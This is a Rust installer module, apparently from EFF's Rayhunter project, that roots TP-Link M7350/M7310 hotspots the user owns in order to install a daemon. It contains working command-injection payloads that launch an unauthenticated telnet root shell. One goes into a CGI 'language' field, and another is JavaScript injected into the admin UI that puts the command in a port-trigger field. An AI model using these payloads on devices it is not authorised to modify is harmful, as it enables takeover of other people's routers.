mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-05-21 15:24:47 -07:00
Because we toggle some ioctl settings based on this field, change the name to better capture that we're selecting which device we want to load settings for, not just the display module to load. This creates room for future per-device settings without needing more config file fields.
310 lines
9.9 KiB
Rust
310 lines
9.9 KiB
Rust
use std::net::SocketAddr;
|
|
use std::str::FromStr;
|
|
use std::time::Duration;
|
|
|
|
use anyhow::{Context, Error};
|
|
use axum::{
|
|
Router,
|
|
body::{Body, to_bytes},
|
|
extract::{Request, State},
|
|
http::uri::Uri,
|
|
response::{IntoResponse, Response},
|
|
routing::any,
|
|
};
|
|
use bytes::{Bytes, BytesMut};
|
|
use hyper::StatusCode;
|
|
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
|
|
use serde::Deserialize;
|
|
use tokio::time::sleep;
|
|
|
|
use crate::InstallTpLink;
|
|
use crate::util::{telnet_send_command, telnet_send_file};
|
|
|
|
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
|
|
|
|
pub async fn main_tplink(
|
|
InstallTpLink {
|
|
skip_sdcard,
|
|
admin_ip,
|
|
sdcard_path,
|
|
}: InstallTpLink,
|
|
) -> Result<(), Error> {
|
|
let is_v3 = start_telnet(&admin_ip).await?;
|
|
tplink_run_install(skip_sdcard, admin_ip, sdcard_path, is_v3).await
|
|
}
|
|
|
|
#[derive(Deserialize)]
|
|
struct V3RootResponse {
|
|
result: u64,
|
|
}
|
|
|
|
pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
|
|
let client = reqwest::Client::new();
|
|
|
|
println!("Launching telnet on the device");
|
|
|
|
for endpoint in [
|
|
// TP-Link M7350 v3
|
|
// https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
|
|
// in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
|
|
format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"),
|
|
// TP-Link M7310 v1
|
|
// (adaptation of M7350 exploit)
|
|
format!("http://{admin_ip}/cgi-bin/web_cgi"),
|
|
] {
|
|
let response = client.post(&endpoint)
|
|
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
|
|
.send()
|
|
.await?;
|
|
|
|
if response.status() == 404 {
|
|
continue;
|
|
}
|
|
|
|
let Ok(V3RootResponse { result }) = response.error_for_status()?.json().await else {
|
|
// On TP-Link M7350 v9, the endpoint /cgi-bin/web_cgi returns 200 OK without launching telnet, and without a response body.
|
|
continue;
|
|
};
|
|
|
|
if result != 0 {
|
|
anyhow::bail!("Bad result code when trying to root device: {result}");
|
|
}
|
|
|
|
// resetting the language is important because otherwise the tplink's admin interface is
|
|
// unusuable.
|
|
let V3RootResponse { result } = client
|
|
.post(&endpoint)
|
|
.body(r#"{"module": "webServer", "action": 1, "language": "en"}"#)
|
|
.send()
|
|
.await?
|
|
.error_for_status()?
|
|
.json()
|
|
.await?;
|
|
|
|
if result != 0 {
|
|
anyhow::bail!("Bad result code when trying to reset the language: {result}");
|
|
}
|
|
|
|
println!("Detected hardware revision v3");
|
|
return Ok(true);
|
|
}
|
|
|
|
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
|
|
tplink_launch_telnet_v5(admin_ip).await?;
|
|
|
|
Ok(false)
|
|
}
|
|
|
|
async fn tplink_run_install(
|
|
skip_sdcard: bool,
|
|
admin_ip: String,
|
|
mut sdcard_path: String,
|
|
is_v3: bool,
|
|
) -> Result<(), Error> {
|
|
println!("Connecting via telnet to {admin_ip}");
|
|
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
|
|
|
if !skip_sdcard {
|
|
if sdcard_path.is_empty() {
|
|
if telnet_send_command(addr, "ls /media/card", "exit code 0")
|
|
.await
|
|
.is_ok()
|
|
{
|
|
// TP-Link hardware less than v9.0
|
|
sdcard_path = "/media/card".to_owned();
|
|
} else if telnet_send_command(addr, "ls /media/sdcard", "exit code 0")
|
|
.await
|
|
.is_ok()
|
|
{
|
|
// TP-Link hardware v9.0
|
|
sdcard_path = "/media/sdcard".to_owned();
|
|
} else {
|
|
anyhow::bail!(
|
|
"unable to determine sdcard path. this is a bug. please file an issue with your hardware version."
|
|
);
|
|
}
|
|
}
|
|
|
|
println!("Mounting sdcard on {sdcard_path}");
|
|
if telnet_send_command(
|
|
addr,
|
|
&format!("mount | grep -q {sdcard_path}"),
|
|
"exit code 0",
|
|
)
|
|
.await
|
|
.is_err()
|
|
{
|
|
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
|
|
} else {
|
|
println!("sdcard already mounted");
|
|
}
|
|
}
|
|
|
|
// there is too little space on the internal flash to store anything, but the initrd script
|
|
// expects things to be at this location
|
|
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
|
|
telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
|
|
telnet_send_command(
|
|
addr,
|
|
&format!("ln -sf {sdcard_path} /data/rayhunter"),
|
|
"exit code 0",
|
|
)
|
|
.await?;
|
|
|
|
telnet_send_file(
|
|
addr,
|
|
&format!("{sdcard_path}/config.toml"),
|
|
crate::CONFIG_TOML
|
|
.replace("#device = \"orbic\"", "device = \"tplink\"")
|
|
.as_bytes(),
|
|
)
|
|
.await?;
|
|
|
|
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
|
|
|
telnet_send_file(
|
|
addr,
|
|
&format!("{sdcard_path}/rayhunter-daemon"),
|
|
rayhunter_daemon_bin,
|
|
)
|
|
.await?;
|
|
|
|
telnet_send_file(
|
|
addr,
|
|
"/etc/init.d/rayhunter_daemon",
|
|
get_rayhunter_daemon(&sdcard_path).as_bytes(),
|
|
)
|
|
.await?;
|
|
|
|
telnet_send_command(
|
|
addr,
|
|
&format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"),
|
|
"exit code 0",
|
|
)
|
|
.await?;
|
|
telnet_send_command(
|
|
addr,
|
|
"chmod 755 /etc/init.d/rayhunter_daemon",
|
|
"exit code 0",
|
|
)
|
|
.await?;
|
|
|
|
// if the device is not v3, the JS-based root exploit already added rayhunter_daemon as a
|
|
// startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it
|
|
// is unreliable on other hardware revisions too.
|
|
if is_v3 {
|
|
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
|
|
}
|
|
|
|
println!(
|
|
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
|
|
);
|
|
|
|
telnet_send_command(addr, "reboot", "exit code 0").await?;
|
|
|
|
Ok(())
|
|
}
|
|
|
|
#[derive(Clone)]
|
|
struct AppState {
|
|
client: HttpProxyClient,
|
|
admin_ip: String,
|
|
}
|
|
|
|
async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, StatusCode> {
|
|
let path = req.uri().path();
|
|
let path_query = req
|
|
.uri()
|
|
.path_and_query()
|
|
.map(|v| v.as_str())
|
|
.unwrap_or(path);
|
|
|
|
let uri = format!("http://{}{}", state.admin_ip, path_query);
|
|
|
|
// on version 5.2, this path is /settings.min.js
|
|
// on other versions, this path is /js/settings.min.js
|
|
let is_settings_js = path.ends_with("/settings.min.js");
|
|
|
|
*req.uri_mut() = Uri::try_from(uri).unwrap();
|
|
|
|
let mut response = state
|
|
.client
|
|
.request(req)
|
|
.await
|
|
.map_err(|_| StatusCode::BAD_REQUEST)?
|
|
.into_response();
|
|
|
|
if is_settings_js {
|
|
let (parts, body) = response.into_parts();
|
|
let data = to_bytes(body, usize::MAX)
|
|
.await
|
|
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
|
let mut data = BytesMut::from(data);
|
|
// inject some javascript into the admin UI to get us a telnet shell.
|
|
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
|
|
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
|
|
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
|
|
alert("Success! You can go back to the rayhunter installer.");
|
|
window.clearInterval(window.rayhunterPoll);
|
|
}, 1000);"#);
|
|
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
|
|
response.headers_mut().remove("Content-Length");
|
|
}
|
|
|
|
Ok(response)
|
|
}
|
|
|
|
async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
|
|
let client: HttpProxyClient =
|
|
hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
|
|
.build(HttpConnector::new());
|
|
|
|
let app = Router::new()
|
|
.route("/", any(handler))
|
|
.route("/{*path}", any(handler))
|
|
.with_state(AppState {
|
|
client,
|
|
admin_ip: admin_ip.to_owned(),
|
|
});
|
|
|
|
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
|
|
.await
|
|
.unwrap();
|
|
|
|
println!("Listening on http://{}", listener.local_addr().unwrap());
|
|
println!("Please open above URL in your browser and log into the router to continue.");
|
|
|
|
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
|
|
|
|
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
|
|
|
while telnet_send_command(addr, "true", "exit code 0")
|
|
.await
|
|
.is_err()
|
|
{
|
|
sleep(Duration::from_millis(1000)).await;
|
|
}
|
|
|
|
handle.abort();
|
|
|
|
Ok(())
|
|
}
|
|
|
|
fn get_rayhunter_daemon(sdcard_path: &str) -> String {
|
|
// Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
|
|
// changing the order in which daemons are started up seems to not work reliably.
|
|
//
|
|
// This part of the daemon dynamically generated because we may have to eventually add logic
|
|
// specific to a particular hardware revision here.
|
|
crate::RAYHUNTER_DAEMON_INIT.replace(
|
|
"#RAYHUNTER-PRESTART",
|
|
&format!("mount /dev/mmcblk0p1 {sdcard_path} || true"),
|
|
)
|
|
}
|
|
|
|
#[test]
|
|
fn test_get_rayhunter_daemon() {
|
|
let s = get_rayhunter_daemon("/media/card");
|
|
assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
|
|
}
|